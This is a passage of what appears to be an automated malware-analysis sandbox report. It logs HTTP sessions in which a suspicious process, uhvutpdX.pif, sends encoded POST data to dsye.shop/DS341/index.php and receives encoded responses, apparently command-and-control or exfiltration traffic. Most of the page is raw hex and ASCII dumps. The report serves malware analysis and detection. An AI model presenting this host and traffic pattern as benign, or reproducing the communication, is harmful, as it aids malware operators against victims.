                                                                                    Oct 16, 2024 10:58:06.263865948 CEST1236INData Raw: 15 09 03 db eb 73 f1 66 f8 eb 60 3d 01 08 0c c1 ac 10 ce 41 dc fb b1 55 44 56 68 a9 c2 1a 18 4a 1b 3c 3e 55 67 67 60 af c8 b2 9f 0d 9d fb b1 55 6c 64 e7 ae ca 30 2c 70 c4 97 2a 64 02 d9 78 35 ab 10 be 40 04 bd 60 38 58 7d b3 c0 07 fb 6f e8 f6 35
                                                                                    Data Ascii: sf`=AUDVhJ<>Ugg`Uld0,p*dx5@`8X}o5BvkKplyjg~AEq'FoGAdiN8;pC_B>-##YqTcYG}J$[e6VT[
                                                                                    Oct 16, 2024 10:58:06.263883114 CEST1236INData Raw: 67 67 60 aa cb 00 c1 33 8e fb 22 52 6c 6f f7 89 42 a3 6c 2e f9 ca 2a 42 65 05 0a c2 fa 29 ae 15 9b c1 3a c6 40 ef f6 5d e7 54 9f 1b 8b c2 5e 3d 05 14 0a dc a4 56 ea 33 b0 fb 18 52 65 33 61 ac d8 14 d3 6b fe b9 5c 27 09 00 11 8f 99 5f f1 76 bd 88
                                                                                    Data Ascii: gg`3"RloBl.*Be):@]T^=V3Re3ak\'_vV&QgF IcVRU1iCkTT3d_<U;fP`ug20bnvQjT T>4Ga4_fH`e0#OA;spA5fPeu}SmU F2
                                                                                    Oct 16, 2024 10:58:06.263897896 CEST1236INData Raw: ca 5f 29 7b 3d 49 21 a8 85 b1 51 7d 89 c4 fe 86 ff 36 e9 18 ff 02 0e 4a 0b 79 e7 5f c0 f7 b2 b9 52 88 80 b1 9f 8a 18 1a 28 94 36 76 a8 73 7d 91 17 45 77 89 bd 3b a2 50 11 ba 69 12 25 72 d9 1c 78 80 d3 65 55 54 71 ab e6 1f 44 2f 55 25 ae 64 75 89
                                                                                    Data Ascii: _){=I!Q}6Jy_R(6vs}Ew;Pi%rxeUTqD/U%du!|".I{N{p9<$@;B!pttA1zZ<RvtTQaVU{2/2G{6'H5_;z6x|=L# \>#>x*fQjV;m
                                                                                    Oct 16, 2024 10:58:06.263921976 CEST1236INData Raw: 96 1c 7d f7 e1 03 d6 fe 9f 37 bc 88 f8 7e 74 bf fb 3d 98 0b b7 4d 7b d2 91 6b 64 ae ce 35 9e 06 1f ca 33 3b de f7 62 58 1f 01 7e f3 a0 7c 4b ee ad 2d c4 45 4d 92 5a 31 30 12 1a 68 b4 7f 85 97 50 6b 4f 03 9c 25 5e a6 2c 64 c0 a0 36 c7 20 5c 60 18
                                                                                    Data Ascii: }7~t=M{kd53;bX~|K-EMZ10hPkO%^,d6 \`V z0N].iNcWnS^s;OX6wbV4+ZMto-WOic`Y*1~^SuF<tz)=XDA'v&\io^_
                                                                                    Oct 16, 2024 10:58:06.269046068 CEST1236INData Raw: 57 5f 01 9b fe 02 f8 32 82 cd 30 01 7b 45 61 b7 fb 26 1e 16 7b 37 6c 2f dd 44 65 f7 2f 42 d0 b7 69 ea 47 77 54 80 8a 03 fb 66 98 01 c8 d6 2c 50 29 56 28 9f 80 90 d7 a2 da 4d 76 3c 12 12 15 95 e4 1f fd 70 f1 e5 5e 3d 05 14 0a dc a4 56 ea 2c fe a4
                                                                                    Data Ascii: W_20{Ea&{7l/De/BiGwTf,P)V(Mv<p^=V,^{B-\0}aW5o2dQKUSn5\M`d7V,c6VX@-D#H_m7JYaG'I+_Qc'9W2bH< Uga0.


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    1192.168.2.649791188.114.97.3805412C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Oct 16, 2024 10:58:14.756356001 CEST164OUTPOST /DS341/index.php HTTP/1.1
                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
                                                                                    Host: dsye.shop
                                                                                    Content-Length: 59369
                                                                                    Cache-Control: no-cache
                                                                                    Oct 16, 2024 10:58:14.756556988 CEST11124OUTData Raw: 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 99 26 66 9d 46 16 8b 30 67 ef 26
                                                                                    Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fF0g&fFpGp0p2p5p6p;p3p4p0)0d0e10eT<g:pp3p2p3p3w0s'p0{p5p7)0d0e0f0f0m0cf;j;f'&fp3)0e&f&fBg64.b;4g0x4.a6
                                                                                    Oct 16, 2024 10:58:14.761548996 CEST3708OUTData Raw: 41 07 e6 4a 0d f8 42 19 e7 4c 17 fd 56 0f e7 55 1e ff 49 0c ff 41 0c f9 54 04 ec 57 04 e8 50 18 e8 40 18 e6 4b 1f e9 59 02 f4 42 1c ef 55 1d ec 5b 12 f7 49 06 e1 52 13 e5 4d 01 f4 53 03 e4 53 0d e6 55 11 fb 4b 0f ec 44 11 fb 52 13 fd 57 03 ef 4a
                                                                                    Data Ascii: AJBLVUIATWP@KYBU[IRMSSUKDRWJSS[@PFDZZHOV[SEY@Y[PWRZVVUDSALDDPL@YOG@DFMQPGHBWEMFLV
                                                                                    Oct 16, 2024 10:58:14.761567116 CEST2472OUTData Raw: 03 55 ae 03 55 ae 03 55 ae 22 74 11 d0 57 aa 03 55 ac 07 55 ae 21 55 ae 03 13 c7 6f 30 dd 5f 64 f2 4f 06 ec 4a 1d ff 45 11 f8 57 09 ff 4d 16 f7 40 11 e8 4a 1f e4 2d 2d c2 70 2d ff 4d 16 f7 40 11 e8 4a 1f e4 5b 0d e8 4c 17 ec 5b 00 f4 54 1a e8 56
                                                                                    Data Ascii: UUU"tWUU!Uo0_dOJEWM@J--p-M@J[L[TVPNJOKYOMGM[NIEF[Z@LLFNTDL@GUQOZQP[QYFGIZHB[TSQYRM[JQN
                                                                                    Oct 16, 2024 10:58:14.761665106 CEST4944OUTData Raw: 50 0c ff 40 06 f8 4c 07 f9 59 12 f8 4d 0d e6 40 16 f8 57 03 f6 56 06 fa 57 1b ff 44 1c ec 55 03 eb 42 06 e5 4b 13 ff 49 19 f7 54 1d e0 44 18 ea 45 17 fe 44 17 e7 55 03 fd 44 14 fc 42 12 f8 4b 10 ff 40 07 e6 45 18 ff 5b 1c e4 51 1b e3 5a 17 e0 4e
                                                                                    Data Ascii: P@LYM@WVWDUBKITDEDUDBK@E[QZN@QVVYIFWJNERWKEZGZSYBO@SZQWLAQUJWH@VOGDEPYOGTSUGFQD[Y
                                                                                    Oct 16, 2024 10:58:14.761718988 CEST4944OUTData Raw: 41 10 e1 41 05 fd 53 19 ef 54 1b fb 54 16 e2 5b 01 e9 4b 1c fc 44 19 f4 59 01 fa 49 19 f6 4a 0c e3 40 04 f9 41 0c f6 4a 13 e2 55 05 e9 4a 02 f4 46 05 e1 52 04 e2 52 16 ed 59 04 fa 4a 01 e5 42 18 ff 4e 0c eb 4e 1b fc 4b 03 ea 54 0d e8 4f 18 fc 47
                                                                                    Data Ascii: AASTT[KDYIJ@AJUJFRRYJBNNKTOGGHZKDJGSYNHVOILTALUIROMIURWSSRAMF_HVUUU?UQCUj9p_ARUs1OJ
                                                                                    Oct 16, 2024 10:58:14.761745930 CEST4944OUTData Raw: 55 1e ff 4d 12 fe 53 0c f7 47 1d ff 57 11 e0 45 18 e5 5a 1f ec 54 04 fc 57 1d e7 40 1f fc 54 06 fa 57 07 eb 4c 1a ec 4e 0c e9 41 00 ed 4b 13 ea 5a 18 e9 4b 03 e2 41 11 e5 4b 0c f9 4f 0c e9 57 10 ea 57 1d e1 50 1c e1 50 0d e2 54 12 eb 50 17 e5 55
                                                                                    Data Ascii: UMSGWEZTW@TWLNAKZKAKOWWPPTPUGKOAIRDIQPDDUWPQR[GAYUJDMNRGMD[SSPSNTGNFYT[[H[KEOQEOU
                                                                                    Oct 16, 2024 10:58:14.761780977 CEST2472OUTData Raw: 54 18 f9 4c 12 ea 52 06 fc 5b 01 f7 42 0f fb 45 1b f6 53 17 eb 44 1f ed 0e 5f fe 48 56 aa 17 55 ae 03 55 ae 03 55 ae 03 bb 40 92 1c ac 07 55 ae 01 51 ae 03 77 ae 03 55 e8 6a 39 cb 70 09 9c 5f 1b eb 41 13 ff 52 0c f9 53 06 f2 59 04 e7 5b 18 f8 52
                                                                                    Data Ascii: TLR[BESD_HVUUU@UQwUj9p_ARSY[RK{o&Y[RKWYAN@TWOSDSWVLKR[KIGEKK@PRYFRVTWFRPJYHJET@NKPWS
                                                                                    Oct 16, 2024 10:58:14.766469955 CEST4944OUTData Raw: 53 17 eb 49 0d eb 4d 1d e2 4a 1d f6 52 18 f9 49 07 e0 56 1f e8 4a 19 f4 41 03 ed 4b 0f e9 50 0d fd 40 0f ea 4f 00 e4 5a 14 e7 46 18 e8 42 1e e3 44 0f fc 44 03 e1 42 16 f4 47 00 e2 53 18 fa 4b 00 e1 41 05 e4 41 18 f8 5a 01 ea 40 1f f6 45 11 fe 56
                                                                                    Data Ascii: SIMJRIVJAKP@OZFBDDBGSKAAZ@EVGPBDAYEMMYYVVBIKRJQQYOLEHWHBEUAKVZOGRSZRMHAQJQWFAD@GD
                                                                                    Oct 16, 2024 10:58:14.766534090 CEST4944OUTData Raw: 44 11 ed 4f 13 e9 4a 1c eb 49 0f e0 49 04 fc 4c 1d fd 56 03 ea 49 02 e5 4a 06 ef 4a 07 fa 42 16 e8 42 12 e0 50 07 eb 59 07 e1 4c 1b fb 4d 01 fb 57 17 ff 47 14 eb 54 1e f7 4a 1e e2 50 11 fa 5b 1d ff 52 0c e3 4c 16 ef 47 1c e8 50 06 e1 49 05 ef 49
                                                                                    Data Ascii: DOJIILVIJJBBPYLMWGTJP[RLGPIIZIQPHVGDTYMPQWFUEZLEPHPZMKMMDFQIY@WSUIOFTNE@@RQFVDKQ
                                                                                    Oct 16, 2024 10:58:14.766597033 CEST4944OUTData Raw: 47 10 ed 48 0f ef 53 13 f4 55 19 e6 56 0f e0 48 14 e1 46 1a e8 5b 0c ef 40 1b e6 40 1e e2 49 16 ff 41 12 f8 4f 02 e9 44 1f ef 5b 13 fd 51 10 ea 4d 17 f6 59 03 e5 52 0d ea 49 06 ea 50 0d ff 42 19 f8 5a 17 ff 42 02 e8 51 13 ef 47 06 fb 4c 00 ef 49
                                                                                    Data Ascii: GHSUVHF[@@IAOD[QMYRIPBZBQGLIK[YGZWEWRVLK[MTNTBWBISPU@RGVOTTYGIJNB[Z@FFLRPQSAVIOHY
                                                                                    Oct 16, 2024 10:58:19.689762115 CEST635INHTTP/1.1 200 OK
                                                                                    Date: Wed, 16 Oct 2024 08:58:19 GMT
                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    X-Powered-By: PHP/5.6.37
                                                                                    Vary: User-Agent
                                                                                    cf-cache-status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mooHCpNdSS3%2BTulS9l89QsS2j8eCCoci0IymRh0QJ%2Bk%2BYnmrtJxWBqhg3a9gR7wt46RzPxv%2BZhy3%2FMOvDfRnrujMyBaJBN5ff3kukY%2FxI%2FAbp1utCqGvk3PeyE4%3D"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8d36d8959f754638-DFW
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    Data Raw: 37 0d 0a 66 61 6c 73 65 4f 4b 0d 0a 30 0d 0a 0d 0a
                                                                                    Data Ascii: 7falseOK0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    2192.168.2.649802188.114.97.3804996C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Oct 16, 2024 10:58:16.218307972 CEST277OUTPOST /DS341/index.php HTTP/1.1
                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
                                                                                    Host: dsye.shop
                                                                                    Content-Length: 115
                                                                                    Cache-Control: no-cache
                                                                                    Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 99 26 66 9d 46 16 8b 30 67 ef 26 66 9a 46 70 9c 47 70 9d 30 70 9d 32 70 9d 35 70 9d 36 70 9d 3b 70 9d 33 70 9d 34 70 9d 30
                                                                                    Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fF0g&fFpGp0p2p5p6p;p3p4p0
                                                                                    Oct 16, 2024 10:58:18.694421053 CEST1236INHTTP/1.1 200 OK
                                                                                    Date: Wed, 16 Oct 2024 08:58:17 GMT
                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    X-Powered-By: PHP/5.6.37
                                                                                    Vary: Accept-Encoding,User-Agent
                                                                                    cf-cache-status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gtSh67wmM6AttnizmFYoZEwnbEEez48G1%2F2KdzEbXl6pVk0XDuzHR%2F1Ihv9fKjCKTHWFjFHRVLTnzSyPKzEhAXt%2B8CpaQiVdi6IcLYFhQWz5jXvYn1iFSA86YFk%3D"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8d36d89ebcc13171-DFW
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    Data Raw: 32 32 34 31 0d 0a 3f 36 90 4f 06 dd 71 1e d7 33 21 e2 50 65 dc 48 22 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c7 74 24 e2 6e 07 d8 5a 66 c9 72 19 ed 6c 20 cd 44 07 c3 48 3c d9 72 19 c0 6b 26 cd 30 32 df 40 01 e3 74 16 fd 70 1f e2 52 3e e0 40 3e f7 49 18 c9 68 39 f8 55 1b e8 56 39 ec 50 01 9e 59 1f fa 46 00 c2 5b 10 fc 75 0c 9d 55 21 f4 54 60 9e 60 64 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c7 74 24 e2 6e 07 d8 5a 66 c9 72 19 ed 6c 20 cd 44 07 c3 48 3c d9 72 19 c0 6b 26 cd 30 32 df 40 01 e3 74 16 fd 70 1f e2 52 3e e0 40 3e f7 49 0f e9 3a 66 cc 6e 2d d8 5a 02 ff 49 1f f8 55 01 fc 55 1f ff 56 3e 97 44 06 fb 7b 13 e4 55 2d eb 61 66 ca 76 37 e9 3a 3d f4 4b 1b cd 40 06 c1 76 31 e6 6b 65 e2 40 3a db 59 12 97 69 1e c7 74 24 e2 6d 3d dd 60 2c c1 70 1e c7 36 3e cc 31 1b 9a 48 3c d9 72 19 c0 41 3e f4 6a 3a dd 48 3c 9b 37 37 [TRUNCATED]
                                                                                    Data Ascii: 2241?6Oq3!PeH"Hh-PVePIh9Q`U/0`I6eKH<h7N$@:fyt$nZfrl DH<rk&02@tpR>@>Ih9UV9PYF[uU!T``dI6eKH<h7N$@:fyt$nZfrl DH<rk&02@tpR>@>I:fn-ZIUUV>D{U-afv7:=K@v1ke@:Yit$m=`,p6>1H<rA>j:H<77Mad>Nq3R%@w3R>MvR iO?7ste?z=i=ZyH^aVy\/eKVK\O[3Wffe0b3ffe0B3Tffe03Tffe03Tffe03Zyk9S#%G2pA5F^vVt^F9=&3Tffet;_j0UjCQ1Uj
                                                                                    Oct 16, 2024 10:58:18.694468021 CEST1236INData Raw: f7 fd a2 53 f6 9d 91 ae a1 04 23 66 65 e3 ca 32 9e 83 27 e9 9f 54 66 66 65 af cb 30 9e e2 9d c9 12 5f 67 68 6f af cd 30 9e 02 99 cb 33 54 66 66 65 af cb 30 9e 02 8d cb 33 54 46 66 65 af cb 30 8e 02 8d cb 33 54 64 66 65 a5 cb 30 9e 08 9d cb 33 5e
                                                                                    Data Ascii: S#fe2'Tffe0_gho03Tffe03TFfe03Tdfe03^ffe03Tdfe06Tfbe03Tvfe03Twfe03Tffe03Tffe03l[fe03Tvfe03Tffe03Tffe03Tffe03Tffe03Tffe
                                                                                    Oct 16, 2024 10:58:18.694478989 CEST1236INData Raw: 32 af 98 55 ea 41 f2 a5 40 3b 0a 03 26 db b9 5c d6 63 f3 af 5f 31 14 66 0e ca b9 5e fb 6e ae f9 1d 07 03 12 26 c0 a5 43 f1 6e f8 88 47 26 0a 2e 04 c1 af 5c fb 70 9d 98 56 20 25 09 0b dc a4 5c fb 4f f2 af 56 54 0d 03 17 c1 ae 5c ad 30 b3 98 56 20
                                                                                    Data Ascii: 2UA@;&\c_1f^n&CnG&.\pV %\OVT\0V %\OVT1sl_1'f^n_qVf1Um\81eBgz1sl_11fe03Tffe03Tffe03Tffe03Tffe03Tffe03Tffe
                                                                                    Oct 16, 2024 10:58:18.694550991 CEST1236INData Raw: 65 e2 cb 59 9e 61 9d b9 33 3b 66 15 65 c0 cb 56 9e 76 9d eb 33 17 66 09 65 dd cb 40 9e 6d 9d b9 33 35 66 12 65 c6 cb 5f 9e 6c 9d e5 33 74 66 27 65 c3 cb 5c 9e 22 9d b9 33 3d 66 01 65 c7 cb 44 9e 71 9d eb 33 26 66 03 65 dc cb 55 9e 70 9d bd 33 31
                                                                                    Data Ascii: eYa3;feVv3fe@m35fe_l3tf'e\"3=feDq3&feUp31fe0<3Uf)eYe3:fevk31fe]g35feCg3'feR3>fCe`p30feDL39fe0O37feCm3 fegk30feC3feBc3=fe
                                                                                    Oct 16, 2024 10:58:18.694561005 CEST848INData Raw: e7 ae ce 00 83 04 9e 9e 2e 5a 62 70 61 bb 2e 57 a8 57 c2 7b ca 06 a3 ca 2e 79 a5 05 21 8a a7 66 76 fb 56 79 63 ac 9e 2d bd 06 85 fb 25 d4 72 45 51 57 12 62 d8 72 97 26 73 af 10 9d d6 84 7b f3 ab b1 92 fb 67 52 65 33 78 b0 cf 7d ae 49 ad 82 93 13
                                                                                    Data Ascii: .Zbpa.WW{.y!fvVyc-%rEQWbr&s{gRe3x}I#Dr7KSmU H@kA8IEv~=VVVs,_d>`m12P*V/6)6QaVg)Xv{Yp\2HiP1Yp\22ccc'H
                                                                                    Oct 16, 2024 10:58:18.694571018 CEST1236INData Raw: 2f 52 65 33 61 ac d8 25 d3 6b fe b9 5c 27 09 00 11 8f 88 5f ec 72 f2 b9 52 20 0f 09 0b 9f 49 31 bc 32 90 cd 3a 7e e0 2e e3 58 c6 31 9f 03 98 cb 30 d6 67 69 65 9f 49 31 94 00 1f ca 32 54 ff 08 78 fc 9e 9b 03 b0 2f d0 6e 17 a9 61 b2 93 80 d1 a0 76
                                                                                    Data Ascii: /Re3a%k\'_rR I12:~.X10gieI12Tx/nav9P4TY|E8mLLguq,.BFVz4@RUh^,%W Q6_/=N!|tIs^2K$}]cDS\Xwv
                                                                                    Oct 16, 2024 10:58:18.694581032 CEST1236INData Raw: 60 3d 01 08 0c c1 ac 10 ce 41 dc fb b1 55 44 56 68 a9 c2 1a 18 4a 1b 3c 3e 55 67 67 60 af c8 b2 9f 0d 9d fb b1 55 6c 64 e7 ae ca 30 2c 70 c4 97 2a 64 02 d9 78 35 ab 10 be 40 04 bd 60 38 58 7d b3 c0 07 fb 6f e8 f6 35 a4 42 76 86 ba 95 bf b3 84 b5
                                                                                    Data Ascii: `=AUDVhJ<>Ugg`Uld0,p*dx5@`8X}o5BvkKplyjg~AEq'FoGAdiN8;pC_B>-##YqTcYG}J$[e6VT[bjeN
                                                                                    Oct 16, 2024 10:58:18.694591999 CEST1236INData Raw: 22 52 6c 6f f7 89 42 a3 6c 2e f9 ca 2a 42 65 05 0a c2 fa 29 ae 15 9b c1 3a c6 40 ef f6 5d e7 54 9f 1b 8b c2 5e 3d 05 14 0a dc a4 56 ea 33 b0 fb 18 52 65 33 61 ac d8 14 d3 6b fe b9 5c 27 09 00 11 8f 99 5f f1 76 bd 88 56 26 12 0f 03 c6 a8 51 ea 67
                                                                                    Data Ascii: "RloBl.*Be):@]T^=V3Re3ak\'_vV&QgF IcVRU1iCkTT3d_<U;fP`ug20bnvQjT T>4Ga4_fH`e0#OA;spA5fPeu}SmU F2vCt6
                                                                                    Oct 16, 2024 10:58:18.694637060 CEST1236INData Raw: 29 7b 3d 49 21 a8 85 b1 51 7d 89 c4 fe 86 ff 36 e9 18 ff 02 0e 4a 0b 79 e7 5f c0 f7 b2 b9 52 88 80 b1 9f 8a 18 1a 28 94 36 76 a8 73 7d 91 17 45 77 89 bd 3b a2 50 11 ba 69 12 25 72 d9 1c 78 80 d3 65 55 54 71 ab e6 1f 44 2f 55 25 ae 64 75 89 21 0a
                                                                                    Data Ascii: ){=I!Q}6Jy_R(6vs}Ew;Pi%rxeUTqD/U%du!|".I{N{p9<$@;B!pttA1zZ<RvtTQaVU{2/2G{6'H5_;z6x|=L# \>#>x*fQjV;mg
                                                                                    Oct 16, 2024 10:58:18.694648981 CEST848INData Raw: 7d f7 e1 03 d6 fe 9f 37 bc 88 f8 7e 74 bf fb 3d 98 0b b7 4d 7b d2 91 6b 64 ae ce 35 9e 06 1f ca 33 3b de f7 62 58 1f 01 7e f3 a0 7c 4b ee ad 2d c4 45 4d 92 5a 31 30 12 1a 68 b4 7f 85 97 50 6b 4f 03 9c 25 5e a6 2c 64 c0 a0 36 c7 20 5c 60 18 e6 56
                                                                                    Data Ascii: }7~t=M{kd53;bX~|K-EMZ10hPkO%^,d6 \`V z0N].iNcWnS^s;OX6wbV4+ZMto-WOic`Y*1~^SuF<tz)=XDA'v&\io^_(
                                                                                    Oct 16, 2024 10:58:18.694664955 CEST1236INData Raw: e7 9c fa 8c 10 c7 62 6a 1f 37 d2 45 12 bd 74 5c e5 26 56 5f 97 f8 e4 f4 51 eb a1 df 65 d6 ca 43 b1 08 6e ac 0a bc 09 30 6a f2 69 5e 4b 4e 84 57 2e f8 a3 68 6d b8 c4 0c b4 c0 b9 6c 9d 2f b2 3f 3e 74 87 ef ba 44 e9 8f 4c a4 91 09 46 ed d5 8d 8d 95
                                                                                    Data Ascii: bj7Et\&V_QeCn0ji^KNW.hml/?>tDLFaGOb}1lan(Qf3Y?P;F<#78{b_*"sH`?="h-UDK&X}^}i}ZG|JXXBzd~#1>I2.V
                                                                                    Oct 16, 2024 10:58:18.694858074 CEST1236INHTTP/1.1 200 OK
                                                                                    Date: Wed, 16 Oct 2024 08:58:17 GMT
                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    X-Powered-By: PHP/5.6.37
                                                                                    Vary: Accept-Encoding,User-Agent
                                                                                    cf-cache-status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gtSh67wmM6AttnizmFYoZEwnbEEez48G1%2F2KdzEbXl6pVk0XDuzHR%2F1Ihv9fKjCKTHWFjFHRVLTnzSyPKzEhAXt%2B8CpaQiVdi6IcLYFhQWz5jXvYn1iFSA86YFk%3D"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8d36d89ebcc13171-DFW
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    Data Raw: 32 32 34 31 0d 0a 3f 36 90 4f 06 dd 71 1e d7 33 21 e2 50 65 dc 48 22 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c7 74 24 e2 6e 07 d8 5a 66 c9 72 19 ed 6c 20 cd 44 07 c3 48 3c d9 72 19 c0 6b 26 cd 30 32 df 40 01 e3 74 16 fd 70 1f e2 52 3e e0 40 3e f7 49 18 c9 68 39 f8 55 1b e8 56 39 ec 50 01 9e 59 1f fa 46 00 c2 5b 10 fc 75 0c 9d 55 21 f4 54 60 9e 60 64 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c7 74 24 e2 6e 07 d8 5a 66 c9 72 19 ed 6c 20 cd 44 07 c3 48 3c d9 72 19 c0 6b 26 cd 30 32 df 40 01 e3 74 16 fd 70 1f e2 52 3e e0 40 3e f7 49 0f e9 3a 66 cc 6e 2d d8 5a 02 ff 49 1f f8 55 01 fc 55 1f ff 56 3e 97 44 06 fb 7b 13 e4 55 2d eb 61 66 ca 76 37 e9 3a 3d f4 4b 1b cd 40 06 c1 76 31 e6 6b 65 e2 40 3a db 59 12 97 69 1e c7 74 24 e2 6d 3d dd 60 2c c1 70 1e c7 36 3e cc 31 1b 9a 48 3c d9 72 19 c0 41 3e f4 6a 3a dd 48 3c 9b 37 37 [TRUNCATED]
                                                                                    Data Ascii: 2241?6Oq3!PeH"Hh-PVePIh9Q`U/0`I6eKH<h7N$@:fyt$nZfrl DH<rk&02@tpR>@>Ih9UV9PYF[uU!T``dI6eKH<h7N$@:fyt$nZfrl DH<rk&02@tpR>@>I:fn-ZIUUV>D{U-afv7:=K@v1ke@:Yit$m=`,p6>1H<rA>j:H<77Mad>Nq3R%@w3R>MvR iO?7ste?z=i=ZyH^aVy\/eKVK\O[3Wffe0b3ffe0B3Tffe03Tffe03Tffe03Zyk9S#%G2pA5F^vVt^F9=&3Tffet;_j0UjCQ1Uj
                                                                                    Oct 16, 2024 10:58:18.695255995 CEST1236INHTTP/1.1 200 OK
                                                                                    Date: Wed, 16 Oct 2024 08:58:17 GMT
                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    X-Powered-By: PHP/5.6.37
                                                                                    Vary: Accept-Encoding,User-Agent
                                                                                    cf-cache-status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gtSh67wmM6AttnizmFYoZEwnbEEez48G1%2F2KdzEbXl6pVk0XDuzHR%2F1Ihv9fKjCKTHWFjFHRVLTnzSyPKzEhAXt%2B8CpaQiVdi6IcLYFhQWz5jXvYn1iFSA86YFk%3D"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8d36d89ebcc13171-DFW
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    Data Raw: 32 32 34 31 0d 0a 3f 36 90 4f 06 dd 71 1e d7 33 21 e2 50 65 dc 48 22 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c7 74 24 e2 6e 07 d8 5a 66 c9 72 19 ed 6c 20 cd 44 07 c3 48 3c d9 72 19 c0 6b 26 cd 30 32 df 40 01 e3 74 16 fd 70 1f e2 52 3e e0 40 3e f7 49 18 c9 68 39 f8 55 1b e8 56 39 ec 50 01 9e 59 1f fa 46 00 c2 5b 10 fc 75 0c 9d 55 21 f4 54 60 9e 60 64 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c7 74 24 e2 6e 07 d8 5a 66 c9 72 19 ed 6c 20 cd 44 07 c3 48 3c d9 72 19 c0 6b 26 cd 30 32 df 40 01 e3 74 16 fd 70 1f e2 52 3e e0 40 3e f7 49 0f e9 3a 66 cc 6e 2d d8 5a 02 ff 49 1f f8 55 01 fc 55 1f ff 56 3e 97 44 06 fb 7b 13 e4 55 2d eb 61 66 ca 76 37 e9 3a 3d f4 4b 1b cd 40 06 c1 76 31 e6 6b 65 e2 40 3a db 59 12 97 69 1e c7 74 24 e2 6d 3d dd 60 2c c1 70 1e c7 36 3e cc 31 1b 9a 48 3c d9 72 19 c0 41 3e f4 6a 3a dd 48 3c 9b 37 37 [TRUNCATED]
                                                                                    Data Ascii: 2241?6Oq3!PeH"Hh-PVePIh9Q`U/0`I6eKH<h7N$@:fyt$nZfrl DH<rk&02@tpR>@>Ih9UV9PYF[uU!T``dI6eKH<h7N$@:fyt$nZfrl DH<rk&02@tpR>@>I:fn-ZIUUV>D{U-afv7:=K@v1ke@:Yit$m=`,p6>1H<rA>j:H<77Mad>Nq3R%@w3R>MvR iO?7ste?z=i=ZyH^aVy\/eKVK\O[3Wffe0b3ffe0B3Tffe03Tffe03Tffe03Zyk9S#%G2pA5F^vVt^F9=&3Tffet;_j0UjCQ1Uj


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
